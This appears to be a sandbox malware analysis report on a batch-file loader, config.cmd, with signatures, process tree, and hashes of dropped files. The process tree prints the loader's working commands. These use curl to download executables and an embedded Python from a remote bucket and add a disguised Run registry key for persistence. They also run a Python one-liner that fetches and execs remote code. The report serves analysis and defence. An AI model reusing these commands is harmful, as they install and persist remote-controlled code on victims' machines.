Overview

overview

8

Static

static

1

config.cmd

windows10-2004-x64

8

config.cmd

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 18:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    config.cmd
  • Size 1KB
  • Sample260804-wl6zaabl31
  • SHA256 b9fc40af4c7e9ac1597bb4130b3985467ac90087262349c9bd75f6213d9fba5d
  • MD5 SHA1 SHA512 TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Downloads MZ/PE file 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 15 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • cURL User-Agent 4 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\config.cmd"
    1⤵
    • Executes a command shell one-liner
    • NTFS ADS
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\system32\curl.exe
      curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.exe" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.exe"
      2⤵
      • Downloads MZ/PE file
      PID:4236
    • C:\Windows\system32\curl.exe
      curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.dll" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.dll"
      2⤵
      • Downloads MZ/PE file
      PID:1524
    • C:\Windows\system32\curl.exe
      curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7zxa.dll" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7zxa.dll"
      2⤵
      • Downloads MZ/PE file
      PID:6008
    • C:\Windows\system32\curl.exe
      curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\_p3790.zip" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/python-3.13.13-embed-amd64.zip"
      2⤵
        PID:4340
      • C:\Windows\system32\tar.exe
        tar -xf "C:\Users\Admin\AppData\Local\Microsoft\_p3790.zip" -C "C:\Users\Admin\AppData\Local\Microsoft"
        2⤵
          PID:3168
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftSyncHost" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe\" -c \"import urllib.request;exec(urllib.request.urlopen('https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/config.py').read())\"" /f
          2⤵
          • Adds Run key to start application
          PID:3224
        • C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe
          "C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe" -c "import urllib.request;exec(urllib.request.urlopen('https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/config.py').read())"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:4108

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            _p3790.zip
            • Path C:\Users\Admin\AppData\Local\Microsoft\_p3790.zip
            • Size 10.3MB
            • SHA256 17b4729890accae106bebd1ddbe170f79d3b6462a17b4c867b16a084b1e25293
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _p3790.zip:Zone.Identifier
            • Path C:\Users\Admin\AppData\Local\Microsoft\_p3790.zip:Zone.Identifier
            • Size 2B
            • SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
            • MD5 SHA1 SHA512
            Submit Download

            VCRUNTIME140.dll
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\VCRUNTIME140.dll
            • Size 117KB
            • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _bz2.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_bz2.pyd
            • Size 84KB
            • SHA256 1bf985b54f529a3cbb3e52532791cc4d4c64009142d37b54eb3521adec203d5c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _ctypes.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_ctypes.pyd
            • Size 131KB
            • SHA256 96b07339d52c74f2a1dd043df5eb931e4072eed90a3a8715ffec751d818e4117
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _hashlib.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_hashlib.pyd
            • Size 67KB
            • SHA256 50f3ce7a2281fd32f378f3ba5067bdd13e18ee95877db5199c6a0babdc9c516a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _lzma.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_lzma.pyd
            • Size 155KB
            • SHA256 51815b6474d4216c6a2aeaffdae5d2ff4acb7a0236254f2cfe43247022f3d781
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _socket.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_socket.pyd
            • Size 84KB
            • SHA256 8676f3cebd9d01c7ad51a29b3f7ff429c0a8f6bc564cab21eb6cdaa2e26fd259
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _ssl.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_ssl.pyd
            • Size 177KB
            • SHA256 b8118580b461801df12ec12d3d666aa0ebc2b3750bcf92b90b92789b152bf856
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libcrypto-3.dll
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libcrypto-3.dll
            • Size 5.0MB
            • SHA256 eaf6d613b95b61a39558d84c50e72630a66c99914292df88e7b54ebd60c5bd34
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libffi-8.dll
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libffi-8.dll
            • Size 38KB
            • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libssl-3.dll
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libssl-3.dll
            • Size 776KB
            • SHA256 cf1a5fdcefa3daf69041f31f98ece1d7911ca4fcb8e9f1043b4d0f459ae4c936
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python3.dll
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python3.dll
            • Size 70KB
            • SHA256 cbc4876275178244905ee45a9ee6ec9fa4bfb9aad6209a03b756d38a186f80d1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python313._pth
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313._pth
            • Size 80B
            • SHA256 35ddf94682ff9aa713a8d63557242ad00f3f28fdd39337f02c3bda4c0f791577
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            python313.dll
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313.dll
            • Size 5.8MB
            • SHA256 6964e590037c41d631fd1215f05af154f7fa68105993c6f573a20689b473f1ac
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python313.zip
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313.zip
            • Size 3.6MB
            • SHA256 02afd3bd7dcda41f7f05f3f81759dbfa4c31ae2d0ced045110817bfd0f0b99c1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pythonw.exe
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe
            • Size 101KB
            • SHA256 e98f517f1fa209c691c57d058e538473c4dedcecacd2e466c3f2bce54fc431f4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            select.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\select.pyd
            • Size 32KB
            • SHA256 ddf1221851814943a82ed8a986d228463404da2ada969661bdd69223f14fc050
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            unicodedata.pyd
            • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\unicodedata.pyd
            • Size 695KB
            • SHA256 b965a80346ee95dbec0b147faab329f3276ba24fceb8df5df171367649f116f3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            loader.log
            • Path C:\Users\Admin\AppData\Local\Temp\loader.log
            • Size 572B
            • SHA256 3f87987fbedb9b48daab98e16ec15a6cb04fab7132187d663cebe70c5108cfb8
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            poly_diag.log
            • Path C:\Users\Admin\AppData\Local\Temp\poly_diag.log
            • Size 1KB
            • SHA256 fb36ae2200e7e140271c67b9568b081e015feb902d675843aa83466257c42062
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/4108-132-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-128-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-93-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-138-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-140-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-134-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-97-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-136-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-130-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-76-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-126-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-124-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-122-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-120-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-118-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download

            memory/4108-116-0x000002DBC0680000-0x000002DBC0865000-memory.dmp
            Download